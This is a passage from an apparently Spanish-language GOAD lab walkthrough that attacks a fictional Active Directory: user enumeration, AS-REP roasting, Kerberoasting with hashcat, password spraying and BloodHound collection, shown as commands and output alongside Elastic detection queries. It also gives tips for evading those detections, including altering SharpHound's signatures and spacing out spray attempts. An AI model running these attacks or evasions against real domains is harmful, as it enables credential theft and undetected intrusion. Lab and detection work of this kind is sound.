smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) Post-scan script results: | clock-skew: | -1s: | 192.168.10.11 (winterfell.north.sevenkingdoms.local) | 192.168.10.22 (castelblack.north.sevenkingdoms.local) | 192.168.10.10 (sevenkingdoms.local) | 192.168.10.12 (essos.local) |_ 192.168.10.23 (braavos.essos.local) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 5 IP addresses (5 hosts up) scanned in 384.37 seconds ``` Bien, ahora conocemos todos los hosts y servicios expuestos, intentemos una enumeración anónima en la segunda parte. # 2. Búsqueda de usuarios Hemos realizado un reconocimiento básico en la primera parte de GOAD pwning, ahora intentaremos enumerar usuarios y comenzar la búsqueda de credenciales. ![image](https://hackmd.io/_uploads/rkllEz8zA.png) ## Enumerar DCs de forma anónima ### Con nxc ``` nxc smb 192.168.10.11 --users ``` ![image](https://hackmd.io/_uploads/S1BdNMIM0.png) Obtenemos algunos usuarios con la descripción y conseguimos una primera contraseña, ya que a samwell.tarly se le configuró su contraseña en la descripción. También podríamos recuperar la política de contraseñas antes de intentar un ataque de fuerza bruta. ``` nxc smb 192.168.10.11 --pass-pol ``` ![image](https://hackmd.io/_uploads/HJZQrMUz0.png) La política de contraseñas nos muestra que si fallamos 5 veces en 5 minutos, bloqueamos las cuentas durante 5 minutos. ### Con Enum4linux También podemos confirmar el listado anónimo en el DC NORTH con Enum4linux: ``` enum4linux 192.168.10.11 ``` Obtenemos la lista de usuarios como con nxc. ![image](https://hackmd.io/_uploads/rJsRrGLf0.png) También obtenemos la política de contraseñas como con nxc. ![image](https://hackmd.io/_uploads/HkaVUM8z0.png) Enum4linux también obtiene la lista completa de usuarios del dominio enumerando los miembros del grupo del dominio. ![image](https://hackmd.io/_uploads/S1wiLG8fC.png) ### Con llamada RPC El listado anónimo se realiza con Remote Procedure Call (Llamada a Procedimiento Remoto) en winterfell (192.168.10.11), así que también podríamos hacer esto directamente con rpcclient. ``` rpcclient -U "NORTH\\" 192.168.10.11 -N ``` ``` rpcclient $> enumdomusers user:[Guest] rid:[0x1f5] user:[arya.stark] rid:[0x457] user:[sansa.stark] rid:[0x45b] user:[brandon.stark] rid:[0x45c] user:[rickon.stark] rid:[0x45d] user:[hodor] rid:[0x45e] user:[jon.snow] rid:[0x45f] user:[samwell.tarly] rid:[0x460] user:[jeor.mormont] rid:[0x461] user:[sql_svc] rid:[0x462] user:[oldadministrator] rid:[0x468] rpcclient $> enumdomgroups group:[Domain Users] rid:[0x201] group:[Domain Guests] rid:[0x202] group:[Domain Computers] rid:[0x203] group:[Group Policy Creator Owners] rid:[0x208] group:[Cloneable Domain Controllers] rid:[0x20a] group:[Protected Users] rid:[0x20d] group:[Key Admins] rid:[0x20e] group:[DnsUpdateProxy] rid:[0x450] group:[Stark] rid:[0x453] group:[Night Watch] rid:[0x454] group:[Mormont] rid:[0x455] ``` Obtener todos los usuarios del dominio: ``` net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.10.11' -U '%' ``` ``` NORTH\Administrator NORTH\vagrant NORTH\cloudbase-init NORTH\krbtgt NORTH\SEVENKINGDOMS$ NORTH\arya.stark NORTH\eddard.stark NORTH\catelyn.stark NORTH\robb.stark NORTH\sansa.stark NORTH\brandon.stark NORTH\rickon.stark NORTH\hodor NORTH\jon.snow NORTH\samwell.tarly NORTH\jeor.mormont NORTH\sql_svc NORTH\oldadministrator ``` ## Enumerar DCs de forma anónima: cuando no se permiten sesiones anónimas El controlador de dominio de Winterfell permite conexiones anónimas, por eso podemos listar los usuarios y grupos del dominio. Sin embargo, hoy en día casi nunca ocurre este tipo de configuración. (Por el contrario, la contraseña en las descripciones de los usuarios ocurre bastante a menudo). Aún podemos enumerar usuarios válidos por fuerza bruta. Primero, creamos una lista de usuarios: ``` curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' | sort -u > got_users.txt ``` Obtenemos la siguiente lista: ``` alliser.thorne archmaester.ebrose arya.stark balon.greyjoy barristan.selmy benjen.stark beric.dondarrion bran.stark brienne.of bronn brother.ray brynden.tully catelyn.stark cersei.lannister daario.naharis daenerys.targaryen davos.seaworth doran.martell euron.greyjoy gendry gilly grand.maester grey.worm high.priestess high.sparrow hodor izembaro jaime.lannister jaqen.h’ghar jeor.mormont joffrey.baratheon jon.snow jorah.mormont khal.drogo lady.crane lancel.lannister loras.tyrell lysa.arryn maester.aemon maester.luwin mance.rayder margaery.tyrell melisandre missandei myrcella.baratheon nym.sand obara.sand oberyn.martell olenna.tyrell orell osha podrick.payne qyburn ramsay.snow randyll.tarly renly.baratheon rickon.stark robb.stark robert.baratheon robin.arryn roose.bolton ros samwell.tarly sansa.stark shae stannis.baratheon talisa.stark theon.greyjoy thoros.of tommen.baratheon tormund trystane.martell tyene.sand tyrion.lannister tywin.lannister varys viserys.targaryen yara.greyjoy ygritte ``` Probemos esta lista en los controladores de dominio meereen.essos.local y kingslanding.sevenkingdoms.local. ``` nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.10.10 ``` ``` Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-06 10:45 CEST Nmap scan report for sevenkingdoms.local (192.168.10.10) Host is up (0.030s latency). PORT STATE SERVICE 88/tcp open kerberos-sec | krb5-enum-users: | Discovered Kerberos principals | renly.baratheon@sevenkingdoms.local | tywin.lannister@sevenkingdoms.local | cersei.lannister@sevenkingdoms.local | stannis.baratheon@sevenkingdoms.local | jaime.lannister@sevenkingdoms.local | robert.baratheon@sevenkingdoms.local |_ joffrey.baratheon@sevenkingdoms.local Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds ``` ¡Genial, encontramos 7 usuarios válidos en sevenkingdoms.local! ``` nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.10.12 ``` ``` Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-06 10:47 CEST Nmap scan report for essos.local (192.168.10.12) Host is up (0.029s latency). PORT STATE SERVICE 88/tcp open kerberos-sec | krb5-enum-users: | Discovered Kerberos principals | khal.drogo@essos.local | viserys.targaryen@essos.local | missandei@essos.local | daenerys.targaryen@essos.local |_ jorah.mormont@essos.local Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds ``` Y encontramos 4 usuarios válidos en essos.local. Como podemos ver en la [página de Nmap](https://nmap.org/nsedoc/scripts/krb5-enum-users.html): Descubre nombres de usuario válidos mediante consultas de fuerza bruta contra un servicio Kerberos. Cuando se solicita un nombre de usuario no válido, el servidor responde con el código de error de Kerberos KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, permitiéndonos determinar que el nombre de usuario no era válido. Los nombres de usuario válidos provocarán ya sea el TGT en una respuesta AS-REP o el error KRB5KDC_ERR_PREAUTH_REQUIRED, señalando que el usuario debe realizar la pre-autenticación. En resumen, el badpwdcount no se incrementará cuando realices fuerza bruta a los usuarios. Verifiquémoslo: ``` python3 netexec.py ldap 192.168.10.12 -u khal.drogo -p horse -d essos.local --users ``` ![image](https://hackmd.io/_uploads/rJTKWmIfC.png) ## Acceso de invitado en recursos compartidos Echemos un vistazo al acceso de invitado a los recursos compartidos SMB: ![image](https://hackmd.io/_uploads/ByFe7XUzC.png) Lanzamos el siguiente comando con nxc: ``` nxc smb 192.168.10.10-23 -u 'a' -p '' --shares ``` Y encontramos algunos recursos compartidos anónimos con permisos de READ/WRITE. ![image](https://hackmd.io/_uploads/Skr9G7If0.png) ## Usuario pero sin credenciales Ya tenemos usuarios, ahora intentemos obtener la contraseña para ellos. ![image](https://hackmd.io/_uploads/S1LAmX8MA.png) ### AS-REP Roasting Creamos un archivo users.txt con todos los nombres de usuario encontrados anteriormente en north.sevenkingdoms.local: ``` sql_svc jeor.mormont samwell.tarly jon.snow hodor rickon.stark brandon.stark sansa.stark robb.stark catelyn.stark eddard.stark arya.stark krbtgt vagrant Guest Administrator ``` Ahora podríamos intentar AS-REP Roasting en todos los usuarios con Impacket: ``` impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile users.txt ``` ``` Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra [-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:ebfeddb77c497382897d9150a5bb5bca$7fc0bd5514bd6a09cc623589d99490cf2dbb61223d820a46890d4468407e912bb0c4ad0c2ea3484eff9ede32509c75bfbb0ef34479179dc298132f7ee22087d7725281c6d710f62420f612286ec785c4ba393f748bad6757d69cf41f819144bb74daec32126d338e9b6f3ed32d121d797f5fe8e5d485485355e908118218de07d2e344be09f8d52169c9541969ccb5605342033fdfc2c3fa5d91f3606baf836629e9fa63b124ca578089621de0a86840776e4bb77fd8018afb2a916b1a2c9154b1ce1b248536c5ca79027ff8390df2c51da6d210a560d188ceada32ef9479e50d8a6ec93f70fe000b8c519ed019f70a98bcd3626d2fb096299afc814777f4650404e3aee3b2a [-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User robb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User vagrant doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set ``` Obtenemos un ticket para brandon.stark y lo intentaremos romper ya que el usuario no requiere autenticación previa de Kerberos: ``` hashcat -m 18200 asrephash /usr/share/wordlists/rockyou.txt ``` ``` ... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:ebfeddb77c497382897d9150a5bb5bca$7fc0bd5514bd6a09cc623589d99490cf2dbb61223d820a46890d4468407e912bb0c4ad0c2ea3484eff9ede32509c75bfbb0ef34479179dc298132f7ee22087d7725281c6d710f62420f612286ec785c4ba393f748bad6757d69cf41f819144bb74daec32126d338e9b6f3ed32d121d797f5fe8e5d485485355e908118218de07d2e344be09f8d52169c9541969ccb5605342033fdfc2c3fa5d91f3606baf836629e9fa63b124ca578089621de0a86840776e4bb77fd8018afb2a916b1a2c9154b1ce1b248536c5ca79027ff8390df2c51da6d210a560d188ceada32ef9479e50d8a6ec93f70fe000b8c519ed019f70a98bcd3626d2fb096299afc814777f4650404e3aee3b2a:iseedeadpeople Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) Hash.Target......: $krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOC...ee3b2a Time.Started.....: Mon May 6 11:53:28 2024 (0 secs) Time.Estimated...: Mon May 6 11:53:28 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 947.4 kH/s (1.08ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 55296/14344385 (0.39%) Rejected.........: 0/55296 (0.00%) Restore.Point....: 53248/14344385 (0.37%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: soydivina -> grad2010 Hardware.Mon.#1..: Util: 29% ``` Hemos encontrado la contraseña del usuario "iseedeadpeople". Ahora tenemos un par de credenciales: * samwell.tarly:Heartsbane * brandon.stark:iseedeadpeople ### Password Spraying Podríamos intentar la prueba clásica de usuario=contraseña. ``` nxc smb 192.168.10.11 -u users.txt -p users.txt --no-bruteforce ``` ![image](https://hackmd.io/_uploads/B15KsQIGC.png) Por defecto, cuando continue_on_success no está activado, nxc finalizará tras la primera combinación exitosa (en el intento número 5). Por esta razón, no se generará una alerta en Elastic, ya que el mínimo requerido son 10 intentos fallidos en un periodo breve. También podríamos usar SprayHound (https://github.com/Hackndo/sprayhound). ``` sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.10.11 --lower ``` > Cuando realices Password Spraying, ¡ten cuidado de no bloquear las cuentas! ![image](https://hackmd.io/_uploads/SJ3ET78zA.png) Detecciones de Elastic: Elastic ha detectado múltiples intentos fallidos de inicio de sesión desde la misma dirección IP 10.10.10.10 en un corto intervalo de tiempo. Este tipo de alerta es típicamente indicativa de un ataque de fuerza bruta, donde un adversario intenta acceder a cuentas utilizando contraseñas comunes o conocidas en múltiples usuarios. Los intentos involucraron el proceso lsass.exe en Windows, esencial para la seguridad de las credenciales. ![image](https://hackmd.io/_uploads/BknjkEIfR.png) ![image](https://hackmd.io/_uploads/r1TgxN8zA.png) Consulta EQL: ``` sequence by winlog.computer_name, source.ip with maxspan=10s [authentication where event.action == "logon-failed" and /* event 4625 need to be logged */ winlog.logon.type : "Network" and source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1" and not user.name : ("ANONYMOUS LOGON", "-", "*$") and not user.domain == "NT AUTHORITY" and /* noisy failure status codes often associated to authentication misconfiguration : 0xC000015B - The user has not been granted the requested logon type (also called the logon right) at this machine. 0XC000005E - There are currently no logon servers available to service the logon request. 0XC0000133 - Clocks between DC and other computer too far out of sync. 0XC0000192 An attempt was made to logon, but the Netlogon service was not started. */ not winlog.event_data.Status : ("0xC000015B", "0XC000005E", "0XC0000133", "0XC0000192")] with runs=10 ``` Función de la Regla: * Monitorización de Eventos 4625: Este evento es crucial porque se genera cada vez que un intento de inicio de sesión falla. En un entorno de Windows, este evento contiene detalles como la dirección IP del origen del intento de inicio de sesión, el tipo de inicio de sesión que se intentó (en este caso, "Network" o red), y el nombre de usuario que se usó en el intento fallido. * Secuenciamiento y Tiempo: La regla usa una secuencia para monitorear estos eventos de inicio de sesión fallidos. Si detecta 10 eventos de este tipo (logon-failed) en un lapso de 10 segundos desde la misma dirección IP y en la misma máquina (winlog.computer_name y source.ip), entonces generará una alerta. Este patrón sugiere un comportamiento anormal que a menudo se asocia con intentos de acceso forzado, como ataques de fuerza bruta o Password Spraying. ![image](https://hackmd.io/_uploads/rJm_bELzC.png) ¿Cómo podría un atacante haber evitado generar esta alerta? * Diversificación de IP: Utilizar diferentes direcciones IP, empleando proxies o VPNs para distribuir los intentos de inicio de sesión. * Reducción de la Frecuencia: Espaciar los intentos de inicio de sesión para no superar los umbrales de detección de ataques rápidos. Si la regla agrupa intentos de inicio de sesión fallidos dentro de un intervalo de 10 segundos, realizar intentos de inicio de sesión espaciados más allá de este intervalo podría evitar la detección. Por ejemplo, el atacante podría configurar los intentos de inicio de sesión para que ocurran cada 15 segundos o más. * Ingeniería Social: Obtener credenciales directamente de los usuarios a través de técnicas de phishing u otras formas de engaño. * Credential Stuffing: Usar credenciales válidas obtenidas de otras brechas de datos para evitar intentos fallidos repetidos. * Password Spraying inteligente: Aplicar variaciones de contraseñas basadas en políticas de seguridad conocidas o patrones de nombres de usuario para minimizar los fallos. Referencias: * https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625 * https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624 * https://learn.microsoft.com/en-us/archive/msdn-technet-forums/c82ac4f3-a235-472c-9fd3-53aa646cfcfd * https://serverfault.com/questions/379092/remote-desktop-failed-logon-event-4625-not-logging-ip-address-on-2008-terminal-s/403638#403638 Así se muestra en el Visor de Eventos: ![image](https://hackmd.io/_uploads/SJaj8E8fR.png) Podríamos intentar SprayHound con un usuario válido para evitar bloquear la cuenta (opción -t para establecer el número de intentos restantes) ``` sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.10.11 -lu hodor -lp hodor --lower -t 2 ``` Ver el estado del ataque de fuerza bruta: ``` python3 netexec.py ldap 192.168.10.11 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local --users ``` ![image](https://hackmd.io/_uploads/HJ_vcVLfR.png) Ahora tenemos tres pares de credenciales: * samwell.tarly:Heartsbane (descripción del usuario) * brandon.stark:iseedeadpeople (AS-REP Roasting) * hodor:hodor (Password Spraying) Genial, en la próxima parte comenzaremos a explorar qué hacer con un usuario válido. # 3. Enumeración con usuario Encontramos algunos usuarios en la segunda parte de GOAD pwning, ahora veamos qué podemos hacer con esas credenciales. ## Listado de usuarios ![image](https://hackmd.io/_uploads/r1Z-oIIMC.png) Cuando consigues una cuenta en un Active Directory, lo primero que debes hacer es obtener la lista completa de usuarios. Una vez que la tienes, podrías realizar un ataque de Password Spraying sobre la lista completa de usuarios (muy a menudo encontrarás otras cuentas con contraseñas débiles como usuario=contraseña, EstaciónAño!, NombreempresaAño! o incluso 123456). ``` impacket-GetADUsers -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople ``` ``` Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra [*] Querying north.sevenkingdoms.local for information about domain. Name Email PasswordLastSet LastLogon -------------------- ------------------------------ ------------------- ------------------- Administrator 2024-03-16 14:12:49.552703 2024-03-16 17:44:29.767787 Guest <never> <never> vagrant 2024-03-16 13:48:29.667797 2024-04-18 10:31:15.167835 cloudbase-init 2024-03-16 15:26:47.875459 2024-03-16 15:26:47.906710 krbtgt 2024-03-16 15:59:05.364398 <never> 2024-04-16 06:12:06.657960 <never> arya.stark 2024-03-16 17:37:21.674320 2024-05-06 10:00:24.461708 eddard.stark 2024-03-16 17:37:25.018270 2024-05-06 15:30:34.515195 catelyn.stark 2024-03-16 17:37:28.159082 <never> robb.stark 2024-03-16 17:37:31.565556 2024-05-06 15:30:47.082857 sansa.stark 2024-03-16 17:37:34.675097 <never> brandon.stark 2024-03-16 17:37:37.628400 2024-05-06 11:48:36.930957 rickon.stark 2024-03-16 17:37:40.425445 <never> hodor 2024-03-16 17:37:43.050605 2024-04-24 12:55:53.605751 jon.snow 2024-03-16 17:37:45.691387 2024-04-30 13:15:55.043165 samwell.tarly 2024-03-16 17:37:48.316555 2024-05-06 12:17:02.234086 jeor.mormont 2024-03-16 17:37:50.910453 2024-05-02 21:17:42.772747 sql_svc 2024-03-16 17:37:53.207464 2024-03-16 17:48:16.889247 oldadministrator 2024-04-19 12:02:25.288140 <never> ``` Para consultas LDAP, recomiendo este artículo con todas las consultas LDAP útiles para pentesting en Active Directory de Windows: https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/ Con LDAP en north.sevenkingdoms.local: ``` ldapsearch -H ldap://192.168.10.11 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:' ``` ![image](https://hackmd.io/_uploads/BJ7n28LfR.png) Con la siguiente consulta LDAP, podemos solicitar usuarios de otros dominios si existe una relación de confianza. En sevenkingdoms.local: ``` ldapsearch -H ldap://192.168.10.10 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:' ``` ## Kerberoasting En un Active Directory, es común ver usuarios con un SPN establecido. Encontrémoslos con Impacket: ``` impacket-GetUserSPNs -request -dc-ip 192.168.10.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes ``` ``` Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation --------------------------------------------------- ----------- ---------------------------------------------------------- -------------------------- -------------------------- ------------- HTTP/eyrie.north.sevenkingdoms.local sansa.stark CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2024-03-16 17:37:34.675097 <never> unconstrained CIFS/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2024-03-16 17:37:45.691387 2024-04-30 13:15:55.043165 constrained HTTP/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2024-03-16 17:37:45.691387 2024-04-30 13:15:55.043165 constrained MSSQLSvc/castelblack.north.sevenkingdoms.local sql_svc 2024-03-16 17:37:53.207464 2024-03-16 17:48:16.889247 MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sql_svc 2024-03-16 17:37:53.207464 2024-03-16 17:48:16.889247 ``` Todos los hashes se almacenarán en un archivo llamado kerberoasting.hashes. También podríamos hacerlo con nxc con el siguiente comando: ``` nxc ldap 192.168.10.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING ``` Ahora intentemos descifrar los hashes: ``` hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force ``` Obtenemos rápidamente un resultado con rockyou: ![image](https://hackmd.io/_uploads/rJxje4dwfA.png) Y encontramos otro usuario: north/jon.snow:iknownothing ## Enumeración de recursos compartidos Conseguimos un usuario de dominio así que podríamos enumerar los recursos compartidos otra vez pero con una cuenta de usuario. ``` nxc smb 192.168.10.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares ``` ![image](https://hackmd.io/_uploads/BJEYUuPzA.png) Ahora un nuevo directorio compartido es legible (no tiene nada en este laboratorio, pero en un entorno real obtendrás muy a menudo información valiosa). ## Volcado de DNS Otra cosa interesante cuando conseguimos un usuario es enumerar DNS. Para esto podemos usar la herramienta [adidnsdump](https://github.com/dirkjanm/adidnsdump) de dirkjanm. ``` adidnsdump -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' winterfell.north.sevenkingdoms.local ``` Los resultados se almacenan en un archivo records.csv. ``` cat records.csv type,name,value A,winterfell,192.168.10.11 A,DomainDnsZones,192.168.10.11 A,castelblack,192.168.10.22 A,@,192.168.10.11 NS,@,winterfell.north.sevenkingdoms.local. ``` ## BloodHound BloodHound es una de las mejores herramientas para pentest de Active Directory. ¡Esta herramienta te ayudará a encontrar todas las rutas para comprometer el AD y es imprescindible en tu arsenal! Para lanzar BloodHound primero necesitas recuperar todos los datos de los diferentes dominios. ### Ingestor de Python - desde Linux Primero obtendremos los datos con el ingestor de Python: https://github.com/fox-it/BloodHound.py Ejecutemos el script en north.sevenkingdoms.local: ``` bloodhound-python --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -ns 192.168.10.11 ``` ![image](https://hackmd.io/_uploads/SkE-jdvGC.png) Bien, ahora tenemos toda la información del dominio north.sevenkingdoms.local. Ahora intentemos obtener información de otros dominios: ``` bloodhound-python --zip -c All -d sevenkingdoms.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -ns 192.168.10.10 ``` ``` bloodhound-python --zip -c All -d essos.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -ns 192.168.10.12 ``` ![image](https://hackmd.io/_uploads/SJ3DnuvMC.png) ``` scp root@192.168.10.5:/root/bh_output/* . root@192.168.10.5's password: 20240507095555_bloodhound.zip 100% 172KB 1.0MB/s 00:00 20240507095913_bloodhound.zip 100% 188KB 1.3MB/s 00:00 20240507095918_bloodhound.zip 100% 173KB 924.6KB/s 00:00 ``` Ahora tenemos la información de los 3 dominios :) Pero el ingestor de Python no es tan completo como el ingestor .NET como podemos ver en el proyecto de GitHub: *"Soporta la mayoría, pero no todas las características de BloodHound (SharpHound) (ver abajo para los métodos de recolección soportados, principalmente faltan los métodos basados en GPO)"* Así que hagámoslo de nuevo desde Windows esta vez. ### Ingestor .NET - desde Windows El ingestor oficial de BloodHound es SharpHound: https://github.com/BloodHoundAD/SharpHound Iniciemos una conexión RDP. ``` xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.10.22 /cert-ignore ``` Detecciones de Elastic: ![image](https://hackmd.io/_uploads/B1sbeKwG0.png) ![image](https://hackmd.io/_uploads/Sk1ZbKPGA.png) La alerta de detección de malware en Elastic Endpoint Security se activó porque detectó el archivo `SharpHound.exe`, identificado como herramienta de hacking. Este archivo se ejecutó desde `explorer.exe`, en el sistema del usuario `jon.snow`. Un atacante podría haber evitado esta alerta de varias maneras: 1. Modificación del Hash del Archivo: Cambiar el contenido del archivo SharpHound.exe para modificar su hash y evitar la detección basada en firmas hash específicas. 2. Evasión de la Detección Basada en YARA: Modificar o eliminar las cadenas específicas dentro del código de SharpHound que son detectadas por la regla YARA, como los GUIDs o mensajes impresos específicos (https://github.com/elastic/protections-artifacts/blob/956eeb3059f8f3b40dc25e5feb4f2485143f2561/yara/rules/Windows_Hacktool_SharpHound.yar). 3. Cifrado o Empaquetado del Ejecutable: Utilizar técnicas de cifrado o empaquetado avanzadas para ocultar las características maliciosas del ejecutable de las herramientas de detección basadas en firmas o heurísticas. Para evitar la detección de "SharpHound.exe" por la regla específica de Elastic Security, puedes realizar las siguientes modificaciones: 1. **Cambiar los GUIDs**: Sustituye los GUIDs "A517A8DE-5834-411D-ABDA-2D0E1766539C" y "90A6822C-4336-433D-923F-F54CE66BA98F" por otros valores. (https://github.com/BloodHoundAD/SharpHound/blob/2.X/Sharphound.sln#L6) ![image](https://hackmd.io/_uploads/HJVVctvMC.png) https://stackoverflow.com/questions/2327202/what-are-the-project-guids-in-a-visual-studio-solution-file-used-for https://tierzerosecurity.co.nz/2024/03/03/teamcity-sharpwmi-evasion.html 2. **Modificar las Cadenas de Texto**: Altera las cadenas: - Cambia "Initializing SharpHound at {time} on {date}". (https://github.com/BloodHoundAD/SharpHound/blob/ff7974c0bb6c32450520494aab0a0710b3186af9/src/Sharphound.cs#L96) - Modifica "SharpHound completed {Number} loops! Zip file written to {Filename}". (https://github.com/BloodHoundAD/SharpHound/blob/ff7974c0bb6c32450520494aab0a0710b3186af9/src/Runtime/LoopManager.cs#L80) - Ajusta o elimina "[-] Removed DCOM Collection". (https://github.com/BloodHoundAD/SharpHound/blob/ff7974c0bb6c32450520494aab0a0710b3186af9/src/Options.cs#L230) La regla se activará si se detectan los GUIDs especificados o todas las cadenas de texto indicadas. Modificando estos elementos para que no coincidan con los patrones establecidos, se evitará la activación de la regla. Es importante mencionar que, aunque esto no activará la regla de Windows.Hacktool.SharpHound, la regla genérica de "Malware Detection Alert" continuará generando alertas. Lanzaremos SharpHound para recuperar información de los dominios. ``` .\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip .\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip .\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip ``` ![image](https://hackmd.io/_uploads/ByHJl9PM0.png) Detecciones de Elastic: ![image](https://hackmd.io/_uploads/BkkLecDfR.png) ![image](https://hackmd.io/_uploads/H1rRb9wMC.png) Consulta EQL: ``` sequence by process.entity_id with maxspan=2m [process where host.os.type == "windows" and event.type == "start" and process.pid != 4 and not user.id : ("S-1-5-19", "S-1-5-20") and not (process.code_signature.trusted == true and not process.code_signature.subject_name : "Microsoft *") and not (process.name : "powershell.exe" and process.args : "?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\PSScript_*.ps1")] [network where host.os.type == "windows" and destination.port == 445 and process.pid != 4 and not cidrmatch(destination.ip, "127.0.0.1", "::1")] until [process where host.os.type == "windows" and event.type == "end"] ``` La alerta generada por Elastic es una "Direct Outbound SMB Connection" de severidad media, con un puntaje de riesgo de 47. Esta alerta indica que un proceso inesperado, en este caso "SharpHound.exe", ha hecho una conexión de red utilizando el puerto 445, que es típicamente utilizado por el protocolo Server Message Block (SMB) para compartir archivos en Windows. Este tipo de actividad es sospechosa porque, aunque el puerto 445 es usado legítimamente por procesos del kernel para la compartición de archivos, cuando procesos a nivel de usuario lo utilizan, podría ser indicativo de escaneos de puerto, explotaciones o movimientos laterales en una red. ![image](https://hackmd.io/_uploads/r1sczqvGA.png) ![image](https://hackmd.io/_uploads/Hkg1Q5DGC.png) Consulta personalizada: ``` host.os.type:windows and event.category:iam and event.action:user-member-enumerated and ( group.name:(*Admin* or "RemoteDesktopUsers") or winlog.event_data.TargetSid:("S-1-5-32-544" or "S-1-5-32-555") ) and not ( winlog.event_data.SubjectUserName: *$ or winlog.event_data.SubjectUserSid: ("S-1-5-19" or "S-1-5-20") or winlog.event_data.CallerProcessName:("-" or *\:\\\\Windows\\\\System32\\\\VSSVC.exe or *\:\\\\Windows\\\\System32\\\\SearchIndexer.exe or *\:\\\\Windows\\\\System32\\\\CompatTelRunner.exe or *\:\\\\Windows\\\\System32\\\\oobe\\\\msoobe.exe or *\:\\\\Windows\\\\System32\\\\net1.exe or *\:\\\\Windows\\\\System32\\\\svchost.exe or *\:\\\\Windows\\\\System32\\\\Netplwiz.exe or *\:\\\\Windows\\\\System32\\\\msiexec.exe or 